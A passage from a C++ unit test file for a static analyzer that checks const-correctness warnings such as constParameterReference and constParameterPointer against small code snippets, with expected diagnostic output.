check(\"struct S { void f(); int i; };\\n\"\n \"void call_f(S& s) { (s.*(&S::f))(); }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a[1]; };\\n\"\n \"void f(S& s) { int* p = s.a; *p = 0; }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo {\\n\" // #9910\n \" int* p{};\\n\"\n \" int* get() { return p; }\\n\"\n \" const int* get() const { return p; }\\n\"\n \"};\\n\"\n \"struct Bar {\\n\"\n \" int j{};\\n\"\n \" void f(Foo& foo) const { int* q = foo.get(); *q = j; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #10679\n \" void g(long L, const C*& PC) const;\\n\"\n \" void g(long L, C*& PC);\\n\"\n \"};\\n\"\n \"void f(S& s) {\\n\"\n \" C* PC{};\\n\"\n \" s.g(0, PC);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10785\n check(\"template \\n\"\n \"struct d {\\n\"\n \" T& g(C& c, T C::*f) { return c.*f; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::map& m) {\\n\"\n \" std::cout << m[0] << std::endl;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector>& v) {\\n\" // #11607\n \" for (auto& m : v)\\n\"\n \" std::cout << m[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int i; };\\n\" // #11473\n \"void f(std::vector>&m, int*& p) {\\n\"\n \" auto& a = m[0];\\n\"\n \" for (auto& s : a) {\\n\"\n \" p = &s.i;\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& g(int* p, int& r) {\\n\" // #11625\n \" if (p)\\n\"\n \" return *p;\\n\"\n \" return r;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template void f(std::vector& d, const std::vector& s) {\\n\" // #11632\n \" for (const auto& e : s) {\\n\"\n \" T* newE = new T(*e);\\n\"\n \" d.push_back(newE);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11682\n check(\"struct b {\\n\"\n \" void mutate();\\n\"\n \"};\\n\"\n \"struct c {\\n\"\n \" const b& get() const;\\n\"\n \" b get();\\n\"\n \"};\\n\"\n \"struct d {\\n\"\n \" void f(c& e) const {\\n\"\n \" e.get().mutate();\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct B { virtual void f() const {} };\\n\" // #11528\n \"struct D : B {};\\n\"\n \"void g(B* b) {\\n\"\n \" D* d = dynamic_cast(b);\\n\"\n \" if (d)\\n\"\n \" d->f();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:4:8]: (style) Variable 'd' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void g(const int*);\\n\"\n \"void f(const std::vector&v) {\\n\"\n \" for (int* i : v)\\n\"\n \" g(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:15]: (style) Variable 'i' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct A {\\n\" // #11225\n \" A();\\n\"\n \" virtual ~A();\\n\"\n \"};\\n\"\n \"struct B : A {};\\n\"\n \"void f(A* a) {\\n\"\n \" const B* b = dynamic_cast(a);\\n\"\n \"}\\n\"\n \"void g(A* a) {\\n\"\n \" const B* b = (const B*)a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:10:18]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:6:11]: (style) Parameter 'a' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:9:11]: (style) Parameter 'a' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void g(int*);\\n\"\n \"void f(std::vector& v) {\\n\"\n \" g(v.data());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(const int*);\\n\"\n \"void f(std::vector& v) {\\n\"\n \" g(v.data());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:26]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct a {\\n\"\n \" template \\n\"\n \" void mutate();\\n\"\n \"};\\n\"\n \"struct b {};\\n\"\n \"template \\n\"\n \"void f(a& x) {\\n\"\n \" x.mutate();\\n\"\n \"}\\n\"\n \"template \\n\"\n \"void f(const b&)\\n\"\n \"{}\\n\"\n \"void g(a& c) { f(c); }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" template \\n\"\n \" T* g() {\\n\"\n \" return reinterpret_cast(m);\\n\"\n \" }\\n\"\n \" template \\n\"\n \" const T* g() const {\\n\"\n \" return reinterpret_cast(m);\\n\"\n \" }\\n\"\n \" char* m;\\n\"\n \"};\\n\"\n \"void f(S& s) {\\n\"\n \" const int* p = s.g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int x; };\\n\" // #11818\n \"std::istream& f(std::istream& is, S& s) {\\n\"\n \" return is >> s.x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(std::string& s1, std::string& s2) {\\n\" // #12203\n \" return &s1 == &s2;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:21]: (style) Parameter 's1' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:1:38]: (style) Parameter 's2' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n\n check(\"void f(int& r) {\\n\" // #12214\n \" (void)(true);\\n\"\n \" if (r) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'r' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct S { void f(int&); };\\n\" // #12216\n \"void g(S& s, int& r, void (S::* p2m)(int&)) {\\n\"\n \" (s.*p2m)(r);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" void f(int& r) { p = &r; }\\n\"\n \" int* p;\\n\"\n \"};\\n\"\n \"void g(std::vector& v1, std::vector& v2) {\\n\"\n \" std::transform(v1.begin(), v1.end(), v2.begin(), [](auto& x) { return &x; });\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class T;\\n\" // #11869\n \"class E {\\n\"\n \"public:\\n\"\n \" class F {\\n\"\n \" public:\\n\"\n \" explicit F(const T* t);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"void f(T& t) {\\n\"\n \" std::list c(1, E::F(&t));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:11]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct T;\\n\"\n \"struct U {\\n\"\n \" struct V { explicit V(const T* p); };\\n\"\n \"};\\n\"\n \"void g(U::V v);\\n\"\n \"void f(T& t) {\\n\"\n \" g(U::V(&t));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:11]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f1(std::vector& v) {\\n\" // #11207\n \" auto it = v.cbegin();\\n\"\n \" while (it != v.cend()) {\\n\"\n \" if (*it > 12) {}\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f2(std::vector& v) {\\n\"\n \" auto it = v.begin();\\n\"\n \" while (it != v.end()) {\\n\"\n \" if (*it > 12) {}\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:8:27]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n\n check(\"void cb(const std::string&);\\n\" // #12349, #12350, #12351\n \"void f(std::string& s) {\\n\"\n \" const std::string& str(s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void g(std::string& s) {\\n\"\n \" const std::string& str{ s };\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void h(std::string* s) {\\n\"\n \" const std::string& str(*s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void k(std::string* s) {\\n\"\n \" const std::string& str = *s;\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void m(std::string& s) {\\n\"\n \" const std::string str(s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void n(std::string* s) {\\n\"\n \" const std::string& str(*s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:21]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:6:21]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:18:21]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:10:21]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:14:21]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:22:21]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" S(std::string& r);\\n\"\n \"};\\n\"\n \"void f(std::string& str) {\\n\"\n \" const S& s(str);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct C {\\n\" // #10052\n \" int& operator()(int);\\n\"\n \"};\\n\"\n \"void f(std::vector& c) {\\n\"\n \" c[0](5) = 12;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int& t) {\\n\" // #11713\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:12]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(std::list& v) {\\n\" // #12202\n \" v.remove_if([](std::string& s) {\\n\"\n \" return true;\\n\"\n \" });\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:33]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct S {\\n\" // #12762\n \" std::vector m;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" std::vector& r = m;\\n\"\n \" g(r[0] * 2);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:23]: (style) Variable 'r' can be declared as reference to const [constVariableReference]\\n\", errout_str());\n\n check(\"std::iostream& get();\\n\" // #12940\n \"std::iostream& Fun() {\\n\"\n \" auto lam = []() -> std::iostream& {\\n\"\n \" std::iostream& ios = get();\\n\"\n \" return ios;\\n\"\n \" };\\n\"\n \" return lam();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int x[3]; };\\n\" // #13226\n \"void g(int a, int* b);\\n\"\n \"void f(int a, S& s) {\\n\"\n \" return g(a, s.x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { std::vector v; };\\n\" // #13317\n \"struct T { S s; };\\n\"\n \"int f(S& s) {\\n\"\n \" for (std::vector::const_iterator it = s.v.cbegin(); it != s.v.cend(); ++it) {}\\n\"\n \" return *s.v.cbegin();\\n\"\n \"}\\n\"\n \"int f(T& t) {\\n\"\n \" return *t.s.v.cbegin();\\n\"\n \"}\\n\"\n \"int f(std::vector& v) {\\n\"\n \" return *v.cbegin();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:7:10]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:10:25]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n\n check(\"void push(V& v) { v.push_back({ .x = 1 }); }\"); // #14010\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constParameterCallback() {\n check(\"int callback(std::vector& x) { return x[0]; }\\n\"\n \"void f() { dostuff(callback); }\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:1:32]: (style) Parameter 'x' can be declared as reference to const. However it seems that 'callback' is a callback function, if 'x' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\", errout_str());\n\n // #9906\n check(\"class EventEngine : public IEventEngine {\\n\"\n \"public:\\n\"\n \" EventEngine();\\n\"\n \"\\n\"\n \"private:\\n\"\n \" void signalEvent(ev::sig& signal, int revents);\\n\"\n \"};\\n\"\n \"\\n\"\n \"EventEngine::EventEngine() {\\n\"\n \" mSigWatcher.set(this);\\n\"\n \"}\\n\"\n \"\\n\"\n \"void EventEngine::signalEvent(ev::sig& signal, int revents) {\\n\"\n \" switch (signal.signum) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:48] -> [test.cpp:13:40]: (style) Parameter 'signal' can be declared as reference to const. However it seems that 'signalEvent' is a callback function, if 'signal' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\", errout_str());\n\n check(\"void f(int* p) {}\\n\" // 12843\n \"void g(std::map&m) {\\n\"\n \" m[&f] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:1:13]: (style) Parameter 'p' can be declared as pointer to const. \"\n \"However it seems that 'f' is a callback function, if 'p' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\",\n errout_str());\n\n check(\"struct S { explicit S(std::function); };\\n\" // #13338\n \"void cb(std::string s) {\\n\"\n \" (void)s.empty();\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" S s2{ cb };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:11] -> [test.cpp:2:21]: (performance) Function parameter 's' should be passed by const reference. However it seems that 'cb' is a callback function. [passedByValueCallback]\\n\", errout_str());\n }\n\n void constPointer() {\n check(\"void foo(int *p) { return *p; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { x = *p; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { int &ref = *p; ref = 12; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int *p) { x = *p + 10; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { return p[10]; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { int &ref = p[0]; ref = 12; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int *p) { x[*p] = 12; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (p) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (p || x) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (p == 0) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (!p) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (*p > 123) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { return *p + 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { return *p > 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(const int* c) { if (c == 0) {}; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct a { void b(); };\\n\"\n \"struct c {\\n\"\n \" a* d;\\n\"\n \" a& g() { return *d; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct a { void b(); };\\n\"\n \"struct c { a* d; };\\n\"\n \"void e(c);\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct V {\\n\"\n \" V& get(typename std::vector::size_type i, std::vector* arr) {\\n\"\n \" return arr->at(i);\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {};\\n\"\n \"struct B : A {};\\n\"\n \"B* f(A* x) {\\n\"\n \" return static_cast(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(std::vector* x) {\\n\"\n \" int& i = (*x)[0];\\n\"\n \" i++;\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int a; };\\n\"\n \"A f(std::vector* x) {\\n\"\n \" x->front().a = 1;\\n\"\n \" return x->front();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector* v) {\\n\"\n \" for(auto&& x:*v)\\n\"\n \" x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int* x;\\n\"\n \" A(int* y) : x(y)\\n\"\n \" {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b, int* x, int* y) {\\n\"\n \" int* z = x;\\n\"\n \" int* w = b ? y : z;\\n\"\n \" *w = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b, int* x, int* y) {\\n\"\n \" int& z = *x;\\n\"\n \" int& w = b ? *y : z;\\n\"\n \" w = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Base { virtual void dostuff(int *p) = 0; };\\n\" // #10397\n \"class Derived: public Base { int x; void dostuff(int *p) override { x = *p; } };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Data { char buf[128]; };\\n\" // #10483\n \"void encrypt(Data& data) {\\n\"\n \" const char a[] = \\\"asfasd\\\";\\n\"\n \" memcpy(data.buf, &a, sizeof(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10547\n check(\"void foo(std::istream &istr) {\\n\"\n \" unsigned char x[2];\\n\"\n \" istr >> x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10744\n check(\"S& f() {\\n\"\n \" static S* p = new S();\\n\"\n \" return *p;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10471\n check(\"void f(std::array const& i) {\\n\"\n \" if (i[0] == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10466\n check(\"typedef void* HWND;\\n\"\n \"void f(const std::vector&v) {\\n\"\n \" for (const auto* h : v)\\n\"\n \" if (h) {}\\n\"\n \" for (const auto& h : v)\\n\"\n \" if (h) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:5:22]: (style) Variable 'h' can be declared as pointer to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(const std::vector& v) {\\n\"\n \" for (const auto& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:22]: (style) Variable 'p' can be declared as pointer to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for (const auto& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const int* const& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const int* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:2:22]: (style) Variable 'p' can be declared as pointer to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for (const auto& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:33]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(const std::vector& v) {\\n\"\n \" for (const auto& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int* const p) {\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int*);\\n\"\n \"void f(int* const* pp) {\\n\"\n \" int* p = pp[0];\\n\"\n \" g(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template \\n\"\n \"struct S {\\n\"\n \" static bool f(const T& t) { return t != nullptr; }\\n\"\n \"};\\n\"\n \"S s;\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"typedef void* HWND;\\n\" // #11084\n \"void f(const HWND h) {\\n\"\n \" if (h == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"using HWND = void*;\\n\"\n \"void f(const HWND h) {\\n\"\n \" if (h == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"typedef int A;\\n\"\n \"void f(A* x) {\\n\"\n \" if (x == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"using A = int;\\n\"\n \"void f(A* x) {\\n\"\n \" if (x == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"struct S { void v(); };\\n\" // #11095\n \"void f(S* s) {\\n\"\n \" (s - 1)->v();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\" // #11085\n \" for (int* p : v) {\\n\"\n \" if (p) {}\\n\"\n \" }\\n\"\n \" for (auto* p : v) {\\n\"\n \" if (p) {}\\n\"\n \" }\\n\"\n \" v.clear();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:5:16]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" char a[1][1];\\n\"\n \" char* b[1];\\n\"\n \" b[0] = a[0];\\n\"\n \" **b = 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"ptrdiff_t f(int *p0, int *p1) {\\n\" // #11148\n \" return p0 - p1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:18]: (style) Parameter 'p0' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:27]: (style) Parameter 'p1' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::array a{}, b{};\\n\"\n \" const std::array& r = a;\\n\"\n \" if (r == b) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {};\\n\" // #11599\n \"void g(S);\\n\"\n \"void h(const S&);\\n\"\n \"void h(int, int, const S&);\\n\"\n \"void i(S&);\\n\"\n \"void j(const S*);\\n\"\n \"void j(int, int, const S*);\\n\"\n \"void f1(S* s) {\\n\"\n \" g(*s);\\n\"\n \"}\\n\"\n \"void f2(S* s) {\\n\"\n \" h(*s);\\n\"\n \"}\\n\"\n \"void f3(S* s) {\\n\"\n \" h(1, 2, *s);\\n\"\n \"}\\n\"\n \"void f4(S* s) {\\n\"\n \" i(*s);\\n\"\n \"}\\n\"\n \"void f5(S& s) {\\n\"\n \" j(&s);\\n\"\n \"}\\n\"\n \"void f6(S& s) {\\n\"\n \" j(1, 2, &s);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:20:12]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:23:12]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:8:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:11:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:14:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void g(int, const int*);\\n\"\n \"void h(const int*);\\n\"\n \"void f(int* p) {\\n\"\n \" g(1, p);\\n\"\n \" h(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int, const int*);\\n\"\n \"void f(int i, int* p) {\\n\"\n \" f(i, const_cast(p));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a; };\\n\"\n \"void f(std::vector& v, int b) {\\n\"\n \" size_t n = v.size();\\n\"\n \" for (size_t i = 0; i < n; i++) {\\n\"\n \" S& s = v[i];\\n\"\n \" if (!(b & s.a))\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:12]: (style) Variable 's' can be declared as reference to const [constVariableReference]\\n\", errout_str()); // don't crash\n\n check(\"void f(int& i) {\\n\"\n \" new (&i) int();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str()); // don't crash\n\n check(\"void f(int& i) {\\n\"\n \" int& r = i;\\n\"\n \" if (!&r) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Variable 'r' can be declared as reference to const [constVariableReference]\\n\", errout_str()); // don't crash\n\n check(\"class C;\\n\" // #11646\n \"void g(const C* const p);\\n\"\n \"void f(C* c) {\\n\"\n \" g(c);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Parameter 'c' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"typedef void (*cb_t)(int*);\\n\" // #11674\n \"void cb(int* p) {\\n\"\n \" if (*p) {}\\n\"\n \"}\\n\"\n \"void g(cb_t);\\n\"\n \"void f() {\\n\"\n \" g(cb);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:7] -> [test.cpp:2:14]: (style) Parameter 'p' can be declared as pointer to const. \"\n \"However it seems that 'cb' is a callback function, if 'p' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\",\n errout_str());\n\n check(\"typedef void (*cb_t)(int*);\\n\"\n \"void cb(int* p) {\\n\"\n \" if (*p) {}\\n\"\n \"}\\n\"\n \"void g(cb_t);\\n\"\n \"void f() {\\n\"\n \" g(::cb);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:2:14]: (style) Parameter 'p' can be declared as pointer to const. \"\n \"However it seems that 'cb' is a callback function, if 'p' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\",\n errout_str());\n\n check(\"void f1(std::vector* p) {\\n\" // #11681\n \" if (p->empty()) {}\\n\" // warn\n \"}\\n\"\n \"void f2(std::vector* p) {\\n\"\n \" p->resize(0);\\n\"\n \"}\\n\"\n \"struct S {\\n\"\n \" void h1() const;\\n\"\n \" void h2();\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void k(int&);\\n\"\n \"void g1(S* s) {\\n\"\n \" s->h1();\\n\" // warn\n \"}\\n\"\n \"void g1(S* s) {\\n\"\n \" s->h2();\\n\"\n \"}\\n\"\n \"void g1(S* s) {\\n\"\n \" if (s->i) {}\\n\" // warn\n \"}\\n\"\n \"void g2(S* s) {\\n\"\n \" s->i = 0;\\n\"\n \"}\\n\"\n \"void g3(S* s) {\\n\"\n \" 